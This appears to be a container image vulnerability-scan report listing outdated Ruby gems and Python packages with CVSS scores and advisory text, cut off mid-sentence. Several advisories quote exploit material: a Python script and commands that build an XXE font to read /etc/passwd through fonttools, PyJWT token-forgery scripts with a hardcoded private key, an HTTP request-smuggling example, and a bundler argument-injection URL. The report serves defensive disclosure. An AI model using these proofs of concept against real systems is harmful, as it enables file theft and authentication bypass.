https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41946/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.3 Fixed version 3.3.3 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.265% EPSS Percentile 50th percentile Description Impact The REXML gem before 3.3.2 has some DoS vulnerabilities when it parses an XML that has many specific characters such as whitespace character, >] and ]>. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities. Patches The REXML gem 3.3.3 or later include the patches to fix these vulnerabilities. Workarounds Don't parse untrusted XMLs. References GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability GHSA-4xqq-m2hx-25v8 : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41123/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.2 Fixed version 3.3.2 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 6.315% EPSS Percentile 90th percentile Description Impact The REXML gem before 3.3.1 has some DoS vulnerabilities when it parses an XML that has many specific characters such as <, 0 and %>. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities. Patches The REXML gem 3.3.2 or later include the patches to fix these vulnerabilities. Workarounds Don't parse untrusted XMLs. References GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/07/16/dos-rexml-cve-2024-39908/ Inefficient Regular Expression Complexity Affected range <3.3.9 Fixed version 3.3.9 CVSS Score 6.6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U EPSS Score 1.153% EPSS Percentile 78th percentile Description Impact The REXML gem before 3.3.9 has a ReDoS vulnerability when it parses an XML that has many digits between &# and x...; in a hex numeric character reference (&#x...;). This does not happen with Ruby 3.2 or later. Ruby 3.1 is the only affected maintained Ruby. Note that Ruby 3.1 will reach EOL on 2025-03. Patches The REXML gem 3.3.9 or later include the patch to fix the vulnerability. Workarounds Use Ruby 3.2 or later instead of Ruby 3.1. References https://www.ruby-lang.org/en/news/2024/10/28/redos-rexml-cve-2024-49761/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.2.7 Fixed version 3.2.7 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 5.903% EPSS Percentile 90th percentile Description Impact The REXML gem before 3.2.6 has a DoS vulnerability when it parses an XML that has many >s in an attribute value. If you need to parse untrusted XMLs, you may be impacted to this vulnerability. Patches The REXML gem 3.2.7 or later include the patch to fix this vulnerability. Workarounds Don't parse untrusted XMLs. References https://www.ruby-lang.org/en/news/2024/05/16/dos-rexml-cve-2024-35176/

uri 0.10.1 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range =0.10.1 Fixed version 0.10.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.452% EPSS Percentile 63rd percentile Description A ReDoS issue was discovered in the URI component through 0.12.0 in Ruby through 3.2.1. The URI parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to URI objects. The fixed versions are 0.12.1, 0.11.1, 0.10.2 and 0.10.0.1. Inefficient Regular Expression Complexity Affected range >=0.10.1 <0.10.3 Fixed version 0.10.3 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 1.202% EPSS Percentile 78th percentile Description A ReDoS issue was discovered in the URI component before 0.12.2 for Ruby. The URI parser mishandles invalid URLs that have specific characters. There is an increase in execution time for parsing strings to URI objects with rfc2396_parser.rb and rfc3986_parser.rb. NOTE: this issue exists becuse of an incomplete fix for CVE-2023-28755. Version 0.10.3 is also a fixed version. The Ruby advisory recommends updating the uri gem to 0.12.2. In order to ensure compatibility with the bundled version in older Ruby series, you may update as follows instead: For Ruby 3.0: Update to uri 0.10.3 For Ruby 3.1 and 3.2: Update to uri 0.12.2. You can use gem update uri to update it. If you are using bundler, please add gem uri, >= 0.12.2 (or other version mentioned above) to your Gemfile. Exposure of Sensitive Information to an Unauthorized Actor Affected range <0.11.3 Fixed version 0.11.3 CVSS Score 2.1 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N EPSS Score 0.018% EPSS Percentile 3rd percentile Description There is a possibility for userinfo leakage by in the uri gem. This vulnerability has been assigned the CVE identifier CVE-2025-27221. We recommend upgrading the uri gem. Details The methods URI#join, URI#merge, and URI#+ retained userinfo, such as user:password, even after the host is replaced. When generating a URL to a malicious host from a URL containing secret userinfo using these methods, and having someone access that URL, an unintended userinfo leak could occur. Please update URI gem to version 0.11.3, 0.12.4, 0.13.2, 1.0.3 or later. Affected versions uri gem versions < 0.11.3, 0.12.0 to 0.12.3, 0.13.0, 0.13.1 and 1.0.0 to 1.0.2. Credits Thanks to Tsubasa Irisawa (lambdasawa) for discovering this issue. Also thanks to nobu for additional fixes of this vulnerability.

webrick 1.7.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') Affected range <=1.8.1 Fixed version 1.8.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.119% EPSS Percentile 32nd percentile Description An issue was discovered in the WEBrick toolkit through 1.8.1 for Ruby. It allows HTTP request smuggling by providing both a Content-Length header and a Transfer-Encoding header, e.g., "GET /admin HTTP/1.1\r\n" inside of a "POST /user HTTP/1.1\r\n" request. NOTE: the supplier's position is "Webrick should not be used in production." Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') Affected range <1.8.2 Fixed version 1.8.2 CVSS Score 6.5 CVSS Vector CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N EPSS Score 0.059% EPSS Percentile 18th percentile Description Ruby WEBrick read_header HTTP Request Smuggling Vulnerability. This vulnerability allows remote attackers to smuggle arbitrary HTTP requests on affected installations of Ruby WEBrick. This issue is exploitable when the product is deployed behind an HTTP proxy that fulfills specific conditions. The specific flaw exists within the read_headers method. The issue results from the inconsistent parsing of terminators of HTTP headers. An attacker can leverage this vulnerability to smuggle arbitrary HTTP requests. Was ZDI-CAN-21876.

fonttools 4.29.1 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Improper Restriction of XML External Entity Reference Affected range >=4.28.2 <4.43.0 Fixed version 4.43.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N EPSS Score 0.131% EPSS Percentile 33rd percentile Description Summary As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. PoC The vulnerability can be reproduced following the bellow steps on a unix based system. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised /etc/passwd for our POC file to include and modified an existing subset integration test to build the POC font - see bellow. from string import ascii_letters from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen from fontTools.ttLib import newTable XXE_SVG = """\ <?xml version="1.0"?> <!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g id="glyph1"> <text font-size="10" x="0" y="10">&test;</text> </g> </svg> """ def main(): # generate a random TTF font with an SVG table glyph_order = [".notdef"] + list(ascii_letters) pen = TTGlyphPen(glyphSet=None) pen.moveTo((0, 0)) pen.lineTo((0, 500)) pen.lineTo((500, 500)) pen.lineTo((500, 0)) pen.closePath() glyph = pen.glyph() glyphs = {g: glyph for g in glyph_order} fb = FontBuilder(unitsPerEm=1024, isTTF=True) fb.setupGlyphOrder(glyph_order) fb.setupCharacterMap({ord(c): c for c in ascii_letters}) fb.setupGlyf(glyphs) fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order}) fb.setupHorizontalHeader() fb.setupOS2() fb.setupPost() fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"}) svg_table = newTable("SVG ") svg_table.docList = [ (XXE_SVG, 1, 12) ] fb.font["SVG "] = svg_table fb.font.save('poc-payload.ttf') if __name__ == '__main__': main() Subset the font with an affected version of fontTools - we tested on fonttools==4.42.1 and fonttools==4.28.2 - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process): pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs Read the parsed SVG table in the subsetted font: ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx Observed the included contents of the /etc/passwd file. Impact Note the final severity is dependant on the environment fontTools is running in. The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on Possible Mitigations There may be other ways to mitigate the issue, but some suggestions: Set the resolve_entities=False flag on parsing methods Consider further methods of disallowing doctype declarations Consider recursive regex matching

mpmath 0.0.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Allocation of Resources Without Limits or Throttling Affected range <1.3.0 Fixed version 1.3.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 2.352% EPSS Percentile 84th percentile Description A Regular Expression Denial of Service (ReDOS) vulnerability was discovered in Mpmath v1.0.0 when the mpmathify function is called.

date 3.1.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range >=3.1.0 <3.1.2 Fixed version 3.1.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.538% EPSS Percentile 67th percentile Description Date’s parsing methods including Date.parse are using Regexps internally, some of which are vulnerable against regular expression denial of service. Applications and libraries that apply such methods to untrusted input may be affected. The fix limits the input length up to 128 bytes by default instead of changing the regexps. This is because Date gem uses many Regexps and it is possible that there are still undiscovered vulnerable Regexps. For compatibility, it is allowed to remove the limitation by explicitly passing limit keywords as nil like Date.parse(str, limit: nil), but note that it may take a long time to parse. Please update the date gem to version 3.2.1, 3.1.2, 3.0.2, and 2.0.1, or later. You can use gem update date to update it. If you are using bundler, please add gem "date", ">= 3.2.1" to your Gemfile. If you import date from the standard library rather than as a gem you should update your Ruby install to 3.0.3, 2.7.5, 2.6.9 or later. Users unable to upgrade may consider using Date.strptime instead with a predefined date format Date.strptime('2001-02-20', '%Y-%m-%d')

pyjwt 2.3.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Use of a Broken or Risky Cryptographic Algorithm Affected range >=1.5.0 <2.4.0 Fixed version 2.4.0 CVSS Score 7.4 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 0.400% EPSS Percentile 60th percentile Description Impact What kind of vulnerability is it? Who is impacted? Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation). PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.) For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations. PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used. Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify. From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519". import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519 # Generate ed25519 private key private_key = ed25519.Ed25519PrivateKey.generate() # Get private key bytes as they would be stored in a file priv_key_bytes = private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption()) # Get public key bytes as they would be stored in a file pub_key_bytes = private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH) # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA") # Using HMAC with the public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad:     print("POC Successfull") # Of course the receiver should specify ed25519 algorithm to be used if they specify ed25519 public key. However, if other algorithms are used, the POC does not work # HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py # #        invalid_strings = [ #            b"-----BEGIN PUBLIC KEY-----", #            b"-----BEGIN CERTIFICATE-----", #            b"-----BEGIN RSA PUBLIC KEY-----", #            b"ssh-rsa", #        ] # # However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py: # #                if "-----BEGIN PUBLIC" in str_key: #                    return load_pem_public_key(key) #                if "-----BEGIN PRIVATE" in str_key: #                    return load_pem_private_key(key, password=None) #                if str_key[0:4] == "ssh-": #                    return load_ssh_public_key(key) # # These should most likely made to match each other to prevent this behavior import jwt #openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem #openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem #ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY----- MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49 AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END EC PRIVATE KEY-----""" pub_key_bytes = b"""-----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END PUBLIC KEY-----""" ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=""" # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256") # Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad: print("POC Successfull") else: print("POC Failed") The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects. Patches Users should upgrade to v2.4.0. Workarounds Always be explicit with the algorithms that are accepted and expected when decoding. References Are there any links users can visit to find out more? For more information If you have any questions or comments about this advisory: Open an issue in https://github.com/jpadilla/pyjwt Email José Padilla: pyjwt at jpadilla dot com

babel 2.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <2.9.1 Fixed version 2.9.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.130% EPSS Percentile 33rd percentile Description Babel.Locale in Babel before 2.9.1 allows attackers to load arbitrary locale .dat files (containing serialized Python objects) via directory traversal, leading to code execution.

wheel 0.37.1 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Inefficient Regular Expression Complexity Affected range <0.38.1 Fixed version 0.38.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.196% EPSS Percentile 42nd percentile Description Python Packaging Authority (PyPA) Wheel is a reference implementation of the Python wheel packaging standard. Wheel 0.37.1 and earlier are vulnerable to a Regular Expression denial of service via attacker controlled input to the wheel cli. The vulnerable regex is used to verify the validity of Wheel file names. This has been patched in version 0.38.1.

time 0.1.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range <0.1.1 Fixed version 0.1.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.871% EPSS Percentile 74th percentile Description A ReDoS issue was discovered in the Time component through 0.2.1 in Ruby through 3.2.1. The Time parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to Time objects. The fixed versions are 0.1.1 and 0.2.2.

jinja2 3.0.3 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Neutralization of Special Elements Used in a Template Engine Affected range <=3.1.5 Fixed version 3.1.6 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.115% EPSS Percentile 31st percentile Description An oversight in how the Jinja sandboxed environment interacts with the |attr filter allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to use the |attr filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the |attr filter no longer bypasses the environment's attribute lookup. Protection Mechanism Failure Affected range <=3.1.4 Fixed version 3.1.5 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.091% EPSS Percentile 27th percentile Description An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox. Improper Neutralization of Escape, Meta, or Control Sequences Affected range >=3.0.0 <=3.1.4 Fixed version 3.1.5 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.025% EPSS Percentile 5th percentile Description A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used. To exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Affected range <3.1.4 Fixed version 3.1.4 CVSS Score 5.4 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N EPSS Score 0.576% EPSS Percentile 68th percentile Description The xmlattr filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, /, >, or =, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters. Accepting keys as user input is now explicitly considered an unintended use case of the xmlattr filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting values as user input continues to be safe. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Affected range <3.1.3 Fixed version 3.1.3 CVSS Score 5.4 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N EPSS Score 0.093% EPSS Percentile 27th percentile Description The xmlattr filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the xmlattr filter, and an application doing so should already be verifying what keys are provided regardless of this fix.

lxml 4.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools NULL Pointer Dereference Affected range <4.9.1 Fixed version 4.9.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.659% EPSS Percentile 70th percentile Description NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.

scipy 1.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Affected range <1.10.0 Fixed version 1.10.0 EPSS Score 0.160% EPSS Percentile 38th percentile Description A refcounting issue which leads to potential memory leak was discovered in scipy commit 8627df31ab in Py_FindObjects() function.

pip 22.0.2 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Neutralization of Special Elements used in a Command ('Command Injection') Affected range <23.3 Fixed version 23.3 CVSS Score 6.8 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.044% EPSS Percentile 13th percentile Description When installing a package from a Mercurial VCS URL, e.g. pip install hg+..., with pip prior to v23.3, the specified Mercurial revision could be used to inject arbitrary configuration options to the hg clone call (e.g. --config). Controlling the Mercurial configuration can modify how and which repository is installed. This vulnerability does not affect users who aren't installing from Mercurial.

zipp 1.0.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Uncontrolled Resource Consumption Affected range <3.19.1 Fixed version 3.19.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.037% EPSS Percentile 10th percentile Description A Denial of Service (DoS) vulnerability exists in the jaraco/zipp library, affecting all versions prior to 3.19.1. The vulnerability is triggered when processing a specially crafted zip file that leads to an infinite loop. This issue also impacts the zipfile module of CPython, as features from the third-party zipp library are later merged into CPython, and the affected code is identical in both projects. The infinite loop can be initiated through the use of functions affecting the Path module in both zipp and zipfile, such as joinpath, the overloaded division operator, and iterdir. Although the infinite loop is not resource exhaustive, it prevents the application from responding. The vulnerability was addressed in version 3.19.1 of jaraco/zipp.

bundler 2.2.22 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') Affected range <2.2.33 Fixed version 2.2.33 CVSS Score 6.7 CVSS Vector CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H EPSS Score 1.811% EPSS Percentile 82nd percentile Description In bundler versions before 2.2.33, when working with untrusted and apparently harmless Gemfile's, it is not expected that they lead to execution of external code, unless that's explicit in the ruby code inside the Gemfile itself. However, if the Gemfile includes gem entries that use the git option with invalid, but seemingly harmless, values with a leading dash, this can be false. To handle dependencies that come from a Git repository instead of a registry, Bundler uses various commands, such as git clone. These commands are being constructed using user input (e.g. the repository URL). When building the commands, Bundler versions before 2.2.33 correctly avoid Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (-) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables. Since this value comes from the Gemfile file, it can contain any character, including a leading dash. Exploitation To exploit this vulnerability, an attacker has to craft a directory containing a Gemfile file that declares a dependency that is located in a Git repository. This dependency has to have a Git URL in the form of -u./payload. This URL will be used to construct a Git clone command but will be interpreted as the upload-pack argument. Then this directory needs to be shared with the victim, who then needs to run a command that evaluates the Gemfile, such as bundle lock, inside. Impact This vulnerability can lead to Arbitrary Code Execution, which could potentially lead to the takeover of the system. However, as explained above, the exploitability is very low, because it requires a lot of user interaction. It still could put developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by manually reviewing the Gemfile (although they would need the weird URL with a leading dash to not raise any flags). This kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on. Patches Bundler 2.2.33 has patched this problem by inserting -- 